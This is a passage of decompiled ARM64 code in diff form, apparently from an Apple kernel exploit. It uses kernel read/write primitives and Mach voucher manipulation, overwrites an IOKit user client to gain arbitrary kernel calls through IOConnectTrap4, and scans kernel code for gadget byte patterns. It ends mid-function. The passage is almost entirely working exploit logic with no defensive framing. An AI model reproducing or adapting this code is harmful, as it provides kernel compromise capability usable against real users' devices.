sub_1CD34(a1, 0x10u, vm_page_size, 0LL, &v4); - if ( !(_DWORD)result ) - { - v3 = vm_page_size; - *(_QWORD *)(a1 + 0x118) = v4; - *(_QWORD *)(a1 + 0x120) = v3; - } - return result; -} - -//----- (000000000001CF1C) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1CF1C(__int64 a1) -{ - __int64 v2; // x20 - unsigned __int64 result; // x0 - int v4; // w8 - int v5; // w8 - __int64 v6; // x9 - __int64 v7; // x10 - unsigned __int64 v8; // x22 - __int64 v9; // x24 - int v10; // w8 - unsigned __int64 v11; // x8 - unsigned __int64 v12; // x1 - unsigned __int64 v13; // x2 - __int64 v14; // [xsp+8h] [xbp-88h] BYREF - mach_port_name_t name; // [xsp+10h] [xbp-80h] - int v16; // [xsp+14h] [xbp-7Ch] BYREF - _DWORD v17[4]; // [xsp+18h] [xbp-78h] - ipc_voucher_t v18[4]; // [xsp+28h] [xbp-68h] BYREF - - v2 = 0x1122334455667788LL; - result = voucher_create_mach_voucher(a1, 0x1122334455667788LL, v18); - if ( (_DWORD)result ) - { - result = sub_32D6C(a1, v18[0]); - if ( result ) - { - result = kread32_outptr(a1, result, &v16); - if ( (_DWORD)result ) - { - if ( (v16 & 0x3FF) == 0x22 ) - { - return 1LL; - } - else - { - result = 0LL; - v4 = *(_DWORD *)(a1 + 0x1934); - v17[0] = *(_DWORD *)(a1 + 0x1930); - v17[1] = v4; - if ( v17[0] != 0xFFFFFFFF && v4 != 0xFFFFFFFF ) - { - v5 = *(_DWORD *)(a1 + 0x1940); - if ( v5 != 0xFFFFFFFF && *(_QWORD *)(a1 + 0x218) ) - { - v6 = 3LL; - v7 = 2LL; -LABEL_13: - v8 = 0LL; - v17[v7] = v5; - v9 = 4 * v6; - while ( 1 ) - { - name = 0; - if ( voucher_create_mach_voucher(a1, v2, &v18[v8 / 4]) && !(unsigned int)j__fileport_makeport() ) - { - if ( !v8 && !(unsigned int)sub_356C8((_DWORD *)a1, name, &v14) ) - { - v10 = *(_DWORD *)(a1 + 0x140); - if ( (unsigned int)(v10 - 0x1F53) >= 2 && v10 != 0x2258 && v10 != 0x1C1B ) - return 0LL; - sub_288A4(a1, v14 + 0x118, *(_QWORD *)(a1 + 0x19D0)); - v11 = *(_QWORD *)(a1 + 0x158); - if ( v11 >= 0x1C1B0A80100000LL && ((*(_DWORD *)a1 & 0x5584001) != 0 || v11 >= 0x1F530000000000LL) ) - { - v13 = *(_QWORD *)(a1 + 0x218) & 0xFFFFFFFFFFLL | ((unsigned __int64)(unsigned int)(*(_QWORD *)(a1 + 0x19E0) / (unsigned __int64)*(unsigned int *)(a1 + 0x180)) << 0x28); - v12 = v14 + *(int *)(a1 + 0x168) + 0x118; - } - else - { - v12 = v14 + *(int *)(a1 + 0x168) + 0x118; - v13 = *(_QWORD *)(a1 + 0x19E0); - } - sub_288A4(a1, v12, v13); - } - sub_1C720((_DWORD *)a1, &v18[v8 / 4], name); - mach_port_deallocate(mach_task_self_, name); - } - v8 += 4LL; - ++v2; - if ( v9 == v8 ) - return 1LL; - } - } - if ( *(_DWORD *)(a1 + 0x1938) != 0xFFFFFFFF ) - { - v5 = *(_DWORD *)(a1 + 0x193C); - if ( v5 != 0xFFFFFFFF ) - { - v17[2] = *(_DWORD *)(a1 + 0x1938); - v6 = 4LL; - v7 = 3LL; - goto LABEL_13; - } - } - return 0LL; - } - } - } - } - } - return result; -} - -//----- (000000000001D1B0) ---------------------------------------------------- -__int64 __fastcall sub_1D1B0(__int64 a1) -{ - vm_size_t v2; // x20 - __int64 result; // x0 - unsigned int v4; // w1 - ipc_voucher_t v5; // w8 - kern_return_t memory_entry; // w8 - kern_return_t v7; // w8 - vm_address_t v8; // x1 - __int64 v9; // x20 - unsigned int *v10; // x21 - _DWORD *v11; // x22 - unsigned int v12; // w23 - ipc_voucher_t v13; // [xsp+10h] [xbp-90h] BYREF - mem_entry_name_port_t object_handle; // [xsp+14h] [xbp-8Ch] BYREF - vm_address_t address; // [xsp+18h] [xbp-88h] BYREF - vm_size_t size; // [xsp+20h] [xbp-80h] BYREF - int v17; // [xsp+2Ch] [xbp-74h] BYREF - unsigned int v18; // [xsp+30h] [xbp-70h] BYREF - ipc_voucher_t v19[3]; // [xsp+3Ch] [xbp-64h] BYREF - - v2 = vm_page_size; - address = 0LL; - size = vm_page_size; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) - { - v19[0] = 0; - result = voucher_create_mach_voucher(a1, 0x3122334455667788LL, v19); - if ( !(_DWORD)result ) - return result; - v4 = v19[0]; - } - else - { - result = sub_1BD80(a1, 0); - if ( !result ) - return result; - v4 = *(_DWORD *)result; - } - v18 = v4; - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) - { - result = sub_32D6C(a1, v4); - if ( !result ) - return result; - result = kread32_outptr(a1, result, &v17); - if ( !(_DWORD)result ) - return result; - if ( (v17 & 0x3FF) == 0x1C ) - return 1LL; - } - else if ( v4 + 1 > 1 ) - { - return 1LL; - } - v5 = *(_DWORD *)(a1 + 0xE8); - if ( v5 + 1 < 2 ) - return 0LL; - if ( !*(_QWORD *)(a1 + 0xF8) ) - return 0LL; - if ( !*(_QWORD *)(a1 + 0x100) ) - return 0LL; - if ( (unsigned int)(*(_DWORD *)(a1 + 0x114) + 1) < 2 ) - return 0LL; - v19[0] = *(_DWORD *)(a1 + 0x114); - v19[1] = v5; - if ( !*(_QWORD *)(a1 + 0x19D0) || !*(_QWORD *)(a1 + 0xF0) ) - return 0LL; - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); - result = 0LL; - if ( !memory_entry ) - { - v19[2] = object_handle; - v7 = vm_map(mach_task_self_, &address, v2, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); - result = 0LL; - if ( !v7 ) - { - bzero((void *)address, v2); - v8 = address; - *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); - *(_QWORD *)(v8 + 8) = *(_QWORD *)(a1 + 0xF0); - *(_DWORD *)(v8 + 0x10) = *(_QWORD *)(a1 + 0x108); - *(_DWORD *)(v8 + 0x14) = *(_DWORD *)(a1 + 0x110); - result = vm_deallocate(mach_task_self_, v8, v2); - v9 = 0LL; - v10 = &v18; - do - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F543C407FFFFFuLL ) - { - v13 = 0; - result = voucher_create_mach_voucher(a1, v9 + 0x3122334455667788LL, &v13); - if ( !(_DWORD)result ) - return result; - *v10 = v13; - result = sub_1C720((_DWORD *)a1, v10, v19[v9]); - if ( !(_DWORD)result ) - return result; - } - else - { - result = sub_1BD80(result, v9); - if ( !result ) - return result; - v11 = (_DWORD *)result; - v12 = v19[v9]; - result = sub_32D6C(a1, v12); - if ( !result ) - return result; - if ( (unsigned int)sub_35E8C(a1, result) || mach_port_mod_refs(mach_task_self_, v12, 0, 0xFFFF) ) - return 0LL; - *v11 = v12; - } - ++v9; - ++v10; - result = 1LL; - } - while ( v9 != 3 ); - } - } - return result; -} - -//----- (000000000001D4A0) ---------------------------------------------------- -unsigned int *__fastcall sub_1D4A0(__int64 a1) -{ - vm_size_t v1; // x20 - unsigned int *result; // x0 - int v4; // w8 - kern_return_t memory_entry; // w8 - kern_return_t v6; // w8 - _QWORD *v7; // x1 - __int64 v8; // x0 - __int64 v9; // x21 - char v10; // w8 - char v11; // w24 - unsigned int *v12; // x20 - unsigned int v13; // w21 - mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-54h] BYREF - vm_address_t address; // [xsp+10h] [xbp-50h] BYREF - vm_size_t size; // [xsp+18h] [xbp-48h] BYREF - _DWORD v17[2]; // [xsp+20h] [xbp-40h] - - v1 = vm_page_size; - address = 0LL; - size = vm_page_size; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - return 0LL; - result = (unsigned int *)sub_1BD80(a1, 0); - if ( !result ) - return result; - if ( *result + 1 > 1 ) - return (unsigned int *)(&def_3E8F0 + 1); - if ( (unsigned int)(*(_DWORD *)(a1 + 0xAC) + 1) < 2 - || !*(_QWORD *)(a1 + 0xD8) - || (unsigned int)(*(_DWORD *)(a1 + 0x58) + 1) < 2 ) - { - return 0LL; - } - v17[0] = *(_DWORD *)(a1 + 0x58); - v4 = sub_27504(a1, 0); - result = 0LL; - if ( v4 ) - return result; - if ( !*(_QWORD *)(a1 + 0x19D0) - || !*(_QWORD *)(a1 + 0x80) - || !*(_DWORD *)(a1 + 0x88) - || !*(_QWORD *)(a1 + 0xA0) - || !*(_DWORD *)(a1 + 0xA8) ) - { - return 0LL; - } - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); - result = 0LL; - if ( !memory_entry ) - { - v17[1] = object_handle; - v6 = vm_map(mach_task_self_, &address, v1, 0LL, 1, object_handle, 0LL, 0, 3, 3, 2u); - result = 0LL; - if ( !v6 ) - { - bzero((void *)address, v1); - v7 = (_QWORD *)address; - *(_QWORD *)address = *(_QWORD *)(a1 + 0x19D0); - v7[4] = *(_QWORD *)(a1 + 0x1898); - v7[5] = *(unsigned int *)(a1 + 0x18A0); - v7[6] = *(_QWORD *)(a1 + 0x80); - v7[7] = *(unsigned int *)(a1 + 0x88); - v7[8] = *(_QWORD *)(a1 + 0xA0); - v7[9] = *(unsigned int *)(a1 + 0xA8); - v8 = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1); - v9 = 0LL; - v10 = 1; - while ( 1 ) - { - v11 = v10; - result = (unsigned int *)sub_1BD80(v8, v9); - if ( !result ) - break; - v12 = result; - v13 = v17[v9]; - result = (unsigned int *)sub_32D6C(a1, v13); - if ( !result ) - break; - if ( (unsigned int)sub_35E8C(a1, (__int64)result) ) - return 0LL; - v8 = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF); - if ( (_DWORD)v8 ) - return 0LL; - v10 = 0; - *v12 = v13; - v9 = 1LL; - if ( (v11 & 1) == 0 ) - return (unsigned int *)((unsigned int)sub_281F0(a1) == 0); - } - } - } - return result; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000001D70C) ---------------------------------------------------- -__int64 __fastcall sub_1D70C(__int64 a1, _DWORD *a2) -{ - vm_size_t v2; // x20 - __int64 v5; // x0 - __int64 v7; // x23 - char v8; // w8 - int v9; // w21 - char v10; // w26 - mach_port_name_t *v11; // x0 - mach_port_name_t v12; // w1 - __int64 v13; // x8 - char v14; // w9 - char v15; // w23 - mach_port_name_t v16; // w1 - bool v17; // zf - __int64 v18; // x23 - __int64 v19; // x23 - vm_address_t v20; // x8 - __int64 v21; // x9 - __int64 v22; // x9 - int v23; // w10 - __int64 v24; // x11 - int v25; // w8 - int v26; // [xsp+Ch] [xbp-54h] BYREF - vm_address_t address; // [xsp+10h] [xbp-50h] BYREF - mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h] - - address = 0LL; - *(_QWORD *)object = 0LL; - v2 = vm_page_size; - v26 = 0xFFFFFFFF; - if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) - return 0LL; - v5 = fd_open_dev_null(&v26); - if ( (_DWORD)v5 ) - return 0LL; - v7 = 0LL; - v8 = 1; - v9 = 0x28026; - while ( 1 ) - { - v10 = v8; - v11 = (mach_port_name_t *)sub_1BD80(v5, v7); - if ( !v11 ) - break; - v12 = *v11; - object[v7] = *v11; - if ( v12 + 1 < 2 ) - break; - v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1); - if ( (_DWORD)v5 ) - break; - v8 = 0; - v7 = 1LL; - if ( (v10 & 1) == 0 ) - { - if ( !vm_map(mach_task_self_, &address, v2, 0LL, 1, object[1], 0LL, 0, 3, 3, 2u) ) - { - v18 = *(_QWORD *)address; - if ( validate_addr(a1, *(_QWORD *)address) ) - { - *(_QWORD *)(a1 + 0x19D0) = v18; - v19 = *(_QWORD *)(address + 0x20); - if ( validate_addr(a1, v19) ) - { - *(_QWORD *)(a1 + 0x1898) = v19; - v20 = address; - v21 = *(_QWORD *)(address + 0x28); - if ( (unsigned __int64)(v21 - 1) <= 0x1F ) - { - *(_DWORD *)(a1 + 0x18A0) = v21; - *(_DWORD *)(a1 + 0x58) = object[0]; - v22 = *(_QWORD *)(v20 + 0x30); - if ( v22 ) - { - if ( (v22 & 7) == 0 ) - { - v23 = *(_DWORD *)(v20 + 0x38); - if ( v23 ) - { - v24 = *(_QWORD *)(v20 + 0x40); - if ( v24 ) - { - if ( (v24 & 7) == 0 ) - { - v25 = *(_DWORD *)(v20 + 0x48); - if ( v25 ) - { - *(_QWORD *)(a1 + 0x80) = v22; - *(_DWORD *)(a1 + 0x88) = v23; - *(_QWORD *)(a1 + 0xA0) = v24; - *(_DWORD *)(a1 + 0xA8) = v25; - v9 = sub_27808(a1, 1); - if ( !v9 ) - { - fd_close(v26); - v26 = 0xFFFFFFFF; - v9 = sub_288D4(a1); - } - } - } - } - } - } - } - } - } - } - } - break; - } - } - if ( v26 != 0xFFFFFFFF ) - fd_close(v26); - if ( v9 ) - { - v13 = 0LL; - v14 = 1; - do - { - v15 = v14; - v16 = object[v13]; - if ( v16 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v16); - v14 = 0; - v13 = 1LL; - } - while ( (v15 & 1) != 0 ); - } - if ( address ) - v17 = v2 == 0; - else - v17 = 1; - if ( !v17 ) - vm_deallocate(mach_task_self_, address, v2); - *a2 = v9 == 0; - return 1LL; -} - -//----- (000000000001D970) ---------------------------------------------------- -mach_vm_address_t sub_1D970() -{ - __int64 v0; // x0 - _QWORD *v1; // x6 - _QWORD *v2; // x21 - uintptr_t v3; // x5 - uintptr_t v4; // x22 - uintptr_t v5; // x4 - uintptr_t v6; // x23 - uintptr_t v7; // x3 - uintptr_t v8; // x24 - __int64 v9; // x2 - __int64 v10; // x25 - __int64 v11; // x1 - __int64 v12; // x26 - __int64 v13; // x19 - unsigned int v14; // w8 - unsigned int v15; // w10 - unsigned int v16; // w8 - __int64 v17; // x0 - const __CFDictionary *v18; // x0 - io_service_t MatchingService; // w0 - io_object_t v20; // w20 - unsigned int v21; // w27 - mach_vm_address_t v22; // x28 - __int64 v23; // x0 - __int64 v24; // x8 - unsigned int v25; // w22 - __int64 v27; // [xsp+18h] [xbp-1098h] - unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF - __int128 v29; // [xsp+30h] [xbp-1080h] - __int64 v30; // [xsp+40h] [xbp-1070h] - io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF - __int128 v32; // [xsp+50h] [xbp-1060h] BYREF - __int64 v33; // [xsp+60h] [xbp-1050h] - - v0 = __chkstk_darwin(); - v2 = v1; - v4 = v3; - v6 = v5; - v8 = v7; - v10 = v9; - v12 = v11; - v13 = v0; - connect = 0; - *(_QWORD *)&size[1] = 0LL; - v14 = *(_DWORD *)(v0 + 0x180); - v15 = 0x1000 % v14; - v16 = v14 - 0x1000 % v14 + 0x1000; - if ( !v15 ) - v16 = 0x1000; - size[0] = v16; - if ( !*(_QWORD *)(v0 + 0x200) ) - { - sub_19D10(*(_QWORD *)(v0 + 0x19F8), &v32); - v29 = v32; - v30 = v33; - v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0); - if ( !v17 ) - return 0LL; - *(_QWORD *)(v13 + 0x200) = v17; - } - v18 = IOServiceMatching("AppleM2ScalerCSCDriver"); - MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18); - v20 = MatchingService; - v21 = MatchingService + 1; - if ( MatchingService + 1 < 2 ) - goto LABEL_21; - v22 = 0LL; - if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) ) - goto LABEL_22; - if ( connect + 1 < 2 ) - { -LABEL_21: - v22 = 0LL; - goto LABEL_22; - } - v22 = port_name_to_kaddr(v13, connect); - if ( v22 ) - { - if ( kread64((_DWORD *)v13, v22, (__int64 *)&size[1]) ) - { - if ( validate_addr(v13, *(__int64 *)&size[1]) ) - { - v23 = sub_37210(v13, size); - if ( v23 ) - { - v27 = v23; - if ( !(unsigned int)kreadbuf_last_1(v13, *(__int64 *)&size[1], 0x1000LL, (__int64)&v32) - || !(unsigned int)kwritebuf_last_1(v13, v27, (__int64)&v32, 0x1000LL) ) - { - goto LABEL_28; - } - v24 = 0x5B8LL; - if ( *(int *)(v13 + 0x140) > 0x1808 ) - v24 = 0x5C0LL; - if ( kwrite64(v13, v24 + v27, *(_QWORD *)(v13 + 0x200)) ) - { - kwrite64(v13, v22, v27); - kwrite64(v13, v22 + 0x40, 8LL); - kwrite64(v13, v22 + 0x48, v12); - kwrite64(v13, v22 + 0x50, 2 * v10 - 0x10); - v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0LL); - kwrite64(v13, v22 + 0x40, 0LL); - kwrite64(v13, v22 + 0x48, 0LL); - kwrite64(v13, v22 + 0x50, 0LL); - kwrite64(v13, v22, *(__int64 *)&size[1]); - if ( v2 ) - *v2 = v25; - v22 = 1LL; - } - else - { -LABEL_28: - v22 = 0LL; - } - sub_36E4C(v13, v27, size[0]); - goto LABEL_22; - } - } - } - goto LABEL_21; - } -LABEL_22: - if ( connect + 1 >= 2 ) - IOServiceClose(connect); - if ( v21 >= 2 ) - IOObjectRelease(v20); - return v22; -} -// 1D9A8: variable 'v1' is possibly undefined -// 1D9AC: variable 'v3' is possibly undefined -// 1D9B0: variable 'v5' is possibly undefined -// 1D9B4: variable 'v7' is possibly undefined -// 1D9B8: variable 'v9' is possibly undefined -// 1D9BC: variable 'v11' is possibly undefined -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (000000000001DCA8) ---------------------------------------------------- -__int64 __fastcall kernel_pattern_scan(__int64 a1, char *__s1, int a3) -{ - char *v5; // x0 - char *v6; // x24 - __int64 v7; // x22 - __int64 v8; // x23 - char *v9; // x19 - char *__stringp[2]; // [xsp+10h] [xbp-180h] BYREF - __int64 v12; // [xsp+20h] [xbp-170h] - char *__endptr; // [xsp+28h] [xbp-168h] BYREF - _WORD v14[128]; // [xsp+30h] [xbp-160h] BYREF - - __endptr = 0LL; - if ( !__s1 ) - return 0LL; - v5 = strdup(__s1); - if ( !v5 ) - return 0LL; - v6 = v5; - v7 = 0LL; - v8 = 0LL; - __stringp[0] = v5; - while ( 1 ) - { - v9 = strsep(__stringp, " "); - if ( strcmp(v9, "-") ) - break; - v8 = v7; -LABEL_14: - if ( !__stringp[0] ) - { - free(v6); - *(_OWORD *)__stringp = *(_OWORD *)a1; - v12 = *(_QWORD *)(a1 + 0x10); - return sub_1DE40((__int64 *)__stringp, (__int64)v14, v7, v8, a3); - } - } - if ( !strcmp(v9, "+") ) - { - v8 = v7 + 1; - goto LABEL_14; - } - if ( !strcmp(v9, "..") ) - { - v14[v7] = 0xFFFF; - } - else - { - v14[v7] = (unsigned __int8)strtol(v9, &__endptr, 0x10); - if ( *__endptr ) - goto LABEL_16; - } - if ( v7 <= 0x7E ) - { - ++v7; - goto LABEL_14; - } -LABEL_16: - free(v6); - return 0LL; -} - -//----- (000000000001DE40) ---------------------------------------------------- -__int64 __fastcall sub_1DE40(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5) -{ - __int64 v5; // x22 - unsigned int v9; // w9 - __int64 v10; // x11 - int v11; // w10 - __int64 v12; // x12 - unsigned int v13; // w13 - __int64 v14; // x23 - __int64 v15; // x23 - __int64 v16; // t1 - __int64 v17; // x1 - unsigned __int64 v18; // x8 - __int64 result; // x0 - unsigned __int64 v20; // x9 - __int64 v21; // x25 - unsigned __int64 v22; // x26 - __int64 v23; // x27 - __int64 v24; // x28 - unsigned __int64 v25; // x22 - __int64 v26; // x8 - __int64 v27; // x8 - int v28; // w10 - unsigned __int64 v29; // x8 - __int64 v30; // [xsp+8h] [xbp-188h] - __int128 v31; // [xsp+10h] [xbp-180h] BYREF - __int64 v32; // [xsp+20h] [xbp-170h] - int8x16_t v33; // [xsp+30h] [xbp-160h] - int8x16_t v34; // [xsp+40h] [xbp-150h] - int8x16_t v35; // [xsp+50h] [xbp-140h] - int8x16_t v36; // [xsp+60h] [xbp-130h] - int8x16_t v37; // [xsp+70h] [xbp-120h] - int8x16_t v38; // [xsp+80h] [xbp-110h] - int8x16_t v39; // [xsp+90h] [xbp-100h] - int8x16_t v40; // [xsp+A0h] [xbp-F0h] - int8x16_t v41; // [xsp+B0h] [xbp-E0h] - int8x16_t v42; // [xsp+C0h] [xbp-D0h] - int8x16_t v43; // [xsp+D0h] [xbp-C0h] - int8x16_t v44; // [xsp+E0h] [xbp-B0h] - int8x16_t v45; // [xsp+F0h] [xbp-A0h] - int8x16_t v46; // [xsp+100h] [xbp-90h] - int8x16_t v47; // [xsp+110h] [xbp-80h] - int8x16_t v48; // [xsp+120h] [xbp-70h] - - v5 = a3; - if ( a3 != (char)a3 || !a1[2] || !a1[1] ) - return 0LL; - v9 = a3 - 1; - if ( (int)a3 >= 1 ) - { - v10 = (unsigned int)a3 + 1LL; - while ( *(__int16 *)(a2 + 2LL * v9) == 0xFFFFFFFF ) - { - --v5; - --v10; - --v9; - if ( v10 <= 1 ) - { - v5 = ((unsigned int)-(int)a3 | 0xFFFFFFFF00000000LL) + a3; - break; - } - } - } - v47 = vdupq_n_s8((char)a3); - v48 = v47; - v45 = v47; - v46 = v47; - v43 = v47; - v44 = v47; - v41 = v47; - v42 = v47; - v39 = v47; - v40 = v47; - v37 = v47; - v38 = v47; - v35 = v47; - v36 = v47; - v33 = v47; - v34 = v47; - if ( (char)a3 > 1 ) - { - v11 = 0; - do - { - v12 = *(__int16 *)(a2 + 2LL * (char)v11); - v13 = ~v11 + (char)a3; - if ( v12 == 0xFFFFFFFFFFFFFFFFLL ) - { - v47 = vdupq_n_s8(v13); - v48 = v47; - v45 = v47; - v46 = v47; - v43 = v47; - v44 = v47; - v41 = v47; - v42 = v47; - v39 = v47; - v40 = v47; - v37 = v47; - v38 = v47; - v35 = v47; - v36 = v47; - v33 = v47; - v34 = v47; - } - else - { - v33.i8[v12] = v13; - } - ++v11; - } - while ( (char)a3 - 1 > (char)v11 ); - } - v14 = a2 + 2 * v5; - v16 = *(__int16 *)(v14 - 2); - v15 = v14 - 2; - v30 = v33.i8[v16]; - v33.i8[v16] = 0; - v31 = *(_OWORD *)a1; - v32 = a1[2]; - v18 = sub_197A8((__int64 **)&v31); - result = 0LL; - if ( v18 && v17 ) - { - v20 = 0LL; - v21 = v18 + v5 - 1; - v22 = v18 + v17; - v23 = -*(_DWORD *)(*a1 + 0x38); - v24 = 1 - v5; - v25 = v21; - while ( 1 ) - { - if ( ((v20 ^ v25) & v23) != 0 ) - { - sub_19AC4(*a1, v25, 1uLL, v22 - v25); - v20 = v25; - } - v26 = v33.u8[*(unsigned __int8 *)v25]; - v25 += v26; - if ( v25 >= v22 ) - return 0LL; - if ( !(_DWORD)v26 ) - { - if ( v24 > 0 ) - { -LABEL_27: - v29 = a1[1] + v25 - v21; - if ( !a5 || (v29 & (a5 - 1)) == 0 ) - { - if ( !v29 ) - return 0LL; - return v29 + a4; - } - } - else - { - v27 = 0LL; - while ( 1 ) - { - v28 = *(__int16 *)(v15 + 2 * v27); - if ( v28 != 0xFFFFFFFF && *(unsigned __int8 *)(v25 + v27) != v28 ) - break; - if ( v24 > --v27 ) - goto LABEL_27; - } - } - v25 += v30; - } - } - } - return result; -} -// 1DFA4: variable 'v17' is possibly undefined - -//----- (000000000001E0C8) ---------------------------------------------------- -__int64 __fastcall sub_1E0C8(__int128 *a1, char *__s, int a3, char a4) -{ - size_t v8; // x24 - _WORD *v9; // x0 - void *v10; // x21 - __int64 v11; // x10 - unsigned int v12; // w11 - __int16 v13; // w12 - __int64 v15; // x2 - __int64 v16; // x19 - __int128 v18; // [xsp+0h] [xbp-60h] BYREF - __int64 v19; // [xsp+10h] [xbp-50h] - - v8 = strlen(__s); - v9 = malloc(2 * (v8 + 2)); - if ( !v9 ) - return 0LL; - v10 = v9; - v9[v8 + 1] = 0; - *v9 = 0; - if ( v8 ) - { - v11 = 0LL; - v12 = 1; - do - { - v13 = (unsigned __int8)__s[v11]; - v11 = v12; - v9[v12] = v13; - } - while ( v8 > v12++ ); - } - if ( (a4 & 0x20) != 0 ) - v15 = v8 + 2; - else - v15 = v8 + 1; - v18 = *a1; - v19 = *((_QWORD *)a1 + 2); - v16 = sub_1DE40((__int64 *)&v18, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3); - free(v10); - return v16; -} - -//----- (000000000001E1B8) ---------------------------------------------------- -unsigned __int64 __fastcall sub_1E1B8(__int64 *a1, __int64 a2, int a3) -{ - unsigned __int64 v5; // x1 - unsigned __int64 v6; // x21 - unsigned __int64 result; // x0 - unsigned __int64 v8; // x22 - unsigned __int64 v9; // x25 - unsigned __int64 v10; // x23 - unsigned __int64 v11; // x27 - char *v12; // x24 - __int128 v13; // [xsp+0h] [xbp-70h] BYREF - __int64 v14; // [xsp+10h] [xbp-60h] - __int64 __s2; // [xsp+18h] [xbp-58h] BYREF - - v13 = *(_OWORD *)a1; - v14 = a1[2]; - __s2 = a2; - v6 = sub_197A8((__int64 **)&v13); - result = 0LL; - if ( v6 ) - { - v8 = v5; - if ( v5 ) - { - v9 = v6 + v5; - v10 = *(unsigned __int8 *)(*a1 + 0x34); - if ( v6 + v10 > v6 + v5 ) - { - return 0LL; - } - else - { - v11 = v6; - v12 = (char *)v6; - while ( 1 ) - { - if ( !a3 || (v11 & (a3 - 1)) == 0 ) - { - sub_19AC4(*a1, (unsigned __int64)v12, v10, v8); - if ( !memcmp(v12, &__s2, v10) ) - break; - } - ++v12; - ++v11; - --v8; - if ( (unsigned __int64)&v12[v10] > v9 ) - return 0LL; - } - return a1[1] - v6 + v11; - } - } - } - return result; -} -// 1E20C: variable 'v5' is possibly undefined - -//----- (000000000001E2BC) ---------------------------------------------------- -char *__fastcall sub_1E2BC(__int64 *a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) -{ - unsigned __int64 v8; // x1 - unsigned __int64 v9; // x23 - char *result; // x0 - unsigned __int64 v11; // x24 - _DWORD *v12; // x10 - __int64 v13; // x12 - __int128 v14; // [xsp+0h] [xbp-50h] BYREF - __int64 v15; // [xsp+10h] [xbp-40h] - - v14 = *(_OWORD *)a1; - v15 = a1[2]; - v9 = sub_197A8((__int64 **)&v14); - result = 0LL; - if ( v9 && v8 ) - { - v11 = v9 + v8; - sub_19AC4(*a1, v9, v8, v8); - if ( v9 < v11 ) - { - v12 = (_DWORD *)v9; - do - { - if ( (*a3 & *v12) == *a2 ) - { - if ( (unsigned __int64)&v12[a4] >= v11 ) - return 0LL; - if ( a4 < 2 ) - { -LABEL_11: - result = (char *)v12 + a1[1] - v9; - if ( result ) - return result; - } - else - { - v13 = 1LL; - while ( (a3[v13] & v12[v13]) == a2[v13] ) - { - if ( a4 == ++v13 ) - goto LABEL_11; - } - } - } - ++v12; - } - while ( (unsigned __int64)v12 < v11 ); - } - return 0LL; - } - return result; -} -// 1E314: variable 'v8' is possibly undefined - -//----- (000000000001E3C4) ---------------------------------------------------- -unsigned __int64 __fastcall kern_get_variable_addr(__int64 a1, char *a2, const char *a3, char *a4) -{ - unsigned __int64 result; // x0 - __int64 v9; // x22 - __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF - __int128 v11; // [xsp+18h] [xbp-38h] BYREF - - sub_19C34("__TEXT", a1, "__cstring", &v11); - result = sub_1E0C8(&v11, a4, 0, 0x21); - if ( result ) - { - v9 = result; - sub_19C34(a2, a1, a3, v10); - return sub_1E1B8(v10, v9, *(unsigned __int8 *)(a1 + 0x34)); - } - return result; -} - -//----- (000000000001E45C) ---------------------------------------------------- -__int64 __fastcall sub_1E45C(__int64 a1) -{ - __int64 result; // x0 - __int64 v3; // x8 - unsigned int v4; // w20 - const char *v5; // x9 - const char *v6; // x10 - char *v7; // x1 - __int64 v8; // x8 - _QWORD v9[3]; // [xsp+8h] [xbp-58h] BYREF - _QWORD v10[3]; // [xsp+20h] [xbp-40h] BYREF - _QWORD v11[3]; // [xsp+38h] [xbp-28h] BYREF - - if ( krw_ctx_has_flag(*(_DWORD **)(a1 + 0x118), 8) ) - { - sub_19D10(a1, v11); - result = kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0); - if ( !result ) - return result; - v3 = result + 0xC; - return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); - } - if ( *(_QWORD *)(a1 + 0x88) >= 0x22581401900000uLL && !krw_ctx_has_flag(*(_DWORD **)(a1 + 0x118), 0x2000) ) - { - sub_19D10(a1, v10); - result = kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0); - if ( !result ) - return result; - v3 = result + 8; - return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); - } - v4 = sub_1E598(a1); - sub_19D10(a1, v9); - v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54"; - v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5"; - if ( v4 != 1 ) - v6 = 0LL; - if ( v4 <= 1 ) - v5 = v6; - if ( v4 <= 4 ) - v7 = (char *)v5; - else - v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54"; - result = kernel_pattern_scan((__int64)v9, v7, 0); - v8 = 0xCLL; - if ( v4 <= 1 ) - v8 = 0xFFFFFFFFFFFFFFF8LL; - if ( result ) - { - v3 = result + v8; - return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 